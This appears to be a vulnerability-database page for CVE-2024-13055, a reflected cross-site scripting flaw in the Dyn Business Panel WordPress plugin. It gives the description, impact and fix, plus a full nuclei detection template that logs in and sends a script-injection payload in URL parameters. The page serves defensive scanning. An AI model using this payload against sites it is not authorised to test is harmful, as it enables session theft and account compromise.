HexBrain

Browse / CVEs / CVE-2024-13055

CVE-2024-13055· phycticio / dyn business panel· CWE-79

Dyn Business Panel Plugin <= 1.0.0 - Cross-Site Scripting

highseverity
7.1CVSS score
0.6%likelihood of exploitation, next 30 days
47%of all CVEs are less likely
Readycheck to confirm it

Dyn Business Panel WordPress plugin <= 1.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter in output, letting attackers execute scripts in the context of high privilege users, exploit requires victim to click a malicious link.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.

Fix

Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=dbp_clients&edit=$dbp_client_id"></script><script>alert(document.domain)</script><script>&Submit=testxss"></script><script>alert(d…
Positive when: contains_all(body, "></script><script>alert(document.domain)</script><script>", "Clientes") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-13055 -u <target>

The full check
id: CVE-2024-13055

info:
  name: Dyn Business Panel Plugin <= 1.0.0 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    Dyn Business Panel WordPress plugin <= 1.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter in output, letting attackers execute scripts in the context of high privilege users, exploit requires victim to click a malicious link.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
  reference:
    - https://wpscan.com/vulnerability/91178272-ed7e-412c-a187-e360a1313004/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13055
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-13055
    cwe-id: CWE-79
    epss-score: 0.0056
    epss-percentile: 0.46915
    cpe: cpe:2.3:a:phycticio:dyn_business_panel:1.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phycticio
    product: dyn_business_panel
  tags: cve,cve2024,dyn-business-panel,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=dbp_clients&edit=$dbp_client_id"></script><script>alert(document.domain)</script><script>&Submit=testxss"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "></script><script>alert(document.domain)</script><script>", "Clientes")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from